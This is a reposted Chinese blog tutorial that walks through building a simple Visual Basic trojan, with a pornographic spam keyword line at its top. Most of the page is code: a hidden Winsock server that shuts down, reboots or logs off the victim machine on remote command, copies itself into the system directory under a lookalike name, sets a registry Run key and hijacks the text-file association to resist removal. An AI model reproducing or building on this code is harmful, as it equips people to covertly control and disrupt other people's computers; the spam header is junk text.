小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

用VB制作簡單的木馬程序 -

 昵稱1868427 2010-06-24

用VB制作簡單的木馬程序

 

本帖隱藏的內(nèi)容

首先,新建一工程,名為Server,新建一個(gè)窗體,Name為Server,在窗體中加入一個(gè)winsock控件,Name設(shè)為sckServer,協(xié)議設(shè)為默認(rèn)的TCP/IP協(xié)議。

  接下來我們回來Server窗體模塊中,添加如下代碼:

Private Sub form_Load()
 With Me
  .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)
  .sckServer.Listen '開始監(jiān)聽
 End With
End Sub

'接受客戶端的連接請(qǐng)求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
 With Me
  If .sckServer.State <>sckClosed Then .sckServer.Close
  .sckServer.Accept (requestID)
 End With
End Sub  

  下面我們來建立客戶端程序:新建一個(gè)工程,名為Client,把窗體名為Client,在上面加入一個(gè)winsock控件,名為sckClient,協(xié)議為TCP/IP協(xié)議。再加一個(gè)按鈕cmdConnect在窗體模塊中加入代碼:

Private Sub form_Load()
 With Me
  .sckClient.RemoteHost = "127.0.0.1"'設(shè)置遠(yuǎn)程IP,本例設(shè)為本機(jī)。
  .sckClient.RemotePort = 88917 '遠(yuǎn)程端口,就為server中的設(shè)置一樣.
 End With
End Sub

Private sub cmdConnect_Click()
 SckClient.Connect
End sub  

  至此,單擊Connect按鈕我們的兩個(gè)工程已經(jīng)可以進(jìn)行通信了,但看不見,你可以在Client中的sckClient_Connect事件中加入代碼:debug.print “Connetion successful!”來查看。

  這僅是第一步,一點(diǎn)工作也做不了,下面我們來為它們添加功能。為了簡單,本文章只實(shí)現(xiàn)一點(diǎn)小小的功能―――關(guān)機(jī),重啟,注銷。好,開始吧!

  在Server工程中新建一個(gè)模塊,Name為modApi,這個(gè)??鞛橐恍〢PI函數(shù),添加如下API函數(shù):

Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long

Public Type RECT
 Left As Long
 Top As Long
 Right As Long
 Bottom As Long
End Type  

  注:在兩個(gè)socket中編程中,進(jìn)行通信的重要事件是DataArrival事件,用于接收遠(yuǎn)程數(shù)據(jù)。

  下面在Client工程的Client窗體中放入三個(gè)按鈕,分別為cmdExit,cmdLogoff,cmdReboot。它們用于對(duì)遠(yuǎn)程的關(guān)機(jī),注銷,重啟操作。分別添加如下代碼:

Private Sub cmdExit_Click()
 Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
 Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
 Me.sckClient.SendData "Reboot"
End Sub  

  全都是對(duì)服務(wù)端發(fā)出請(qǐng)求。下面轉(zhuǎn)到Server工程中:在Server中添加sckServer的DataArrial事件,接收客戶端的請(qǐng)求。

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
 Dim strData As String
 With Me
  ' 接收客戶請(qǐng)求的信息
  .sckServer.GetData strData
  Select Case strData
   Case "Exit"
    '關(guān)機(jī)
    Call ExitWindowXXX(EWX_SHUTDOWN, 0)
   Case "Reboot"
    '重啟
    Call ExitWindowXXX(EWX_REBOOT, 0)
   Case "Logoff"
    '注銷
   Call ExitWindowXXX(EWX_LOGOFF, 0)
  End Select
 End With

End Sub  

  好了,到此我們已經(jīng)實(shí)現(xiàn)功能了,但還不行,我們要它在背后運(yùn)行。這簡單,在Server中的form_Load事件中加入一句:me.hide。好這下看不見了,但大家知道木馬是一開機(jī)就自動(dòng)運(yùn)行了,這又是為什么,怎么實(shí)現(xiàn)的?把它加入到注冊(cè)表的啟動(dòng)組中?對(duì),不錯(cuò),跟我來吧!

  回到Server工程中的modApi中加入如下API函數(shù):

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const HKEY_CLASSES_ROOT = &H80000000  

  寫到注冊(cè)表啟動(dòng)組中的過程。

Public Sub StartupGroup()

 Dim sKey As String
 Dim result As Long
 Dim hKeyID As Long
 Dim sKeyVal As String

 sKey = "Systrsy" '啟動(dòng)組中的鍵,找一個(gè)與系統(tǒng)文件相近的。
 sKeyVal = "C:/windows/system/systrsy.exe" '木馬文件的路徑,可以用GetSystemDirectory來取得系統(tǒng)路徑。
 result = RegOpenKey(HKEY_LOCAL_MACHINE, _
    "Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
 If result = 0 Then
  result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
 End If
End Sub  

  好,就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到注冊(cè)表中見一刪,我們苦苦的心血不就白白地浪費(fèi)了嗎?不行,還得想讓他發(fā)現(xiàn)了刪也刪不掉。請(qǐng)看下面的代碼:

Public Sub WriteToTxt()

 Dim result As Long
 Dim hKeyID As Long
 Dim skey As String
 Dim skeyVal As String

 skey = "txtfile/shell/open/command"
 skeyVal = "C:/windows/system/txtView.exe"
 result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

 If result = 0 Then
  result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
 End If
End Sub  

  肯定不少朋友一看就知道了,原是與txt文件進(jìn)行關(guān)聯(lián),一點(diǎn)也不錯(cuò),但C:/windows/system/txtView.exe是哪里來的,我們的木馬是C:/windows/system/systrsy.exe呀。這可是我們木馬的分身了。

  好,回到Server工程的Server窗體的form_Load中,加入如下代碼:

Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
sSystemDir = “C:/windows/system”
On Error Resume Next

 '復(fù)制文件成系統(tǒng)目錄下的Systrsy.exe
 FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next

復(fù)制文件成系統(tǒng)目錄下的txtView.exe

FileCopy sCurrentPath, sSystemDir & "/txtView.exe"  

  調(diào)用

Call startupGroup
Call WriteToTxt

'判斷程序是否下在運(yùn)行

If App.PrevInstance Then
 '如果已經(jīng)運(yùn)行就退出。
End

End If



好了 簡單的木馬就做好了 不難吧 各位吸收下吧

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多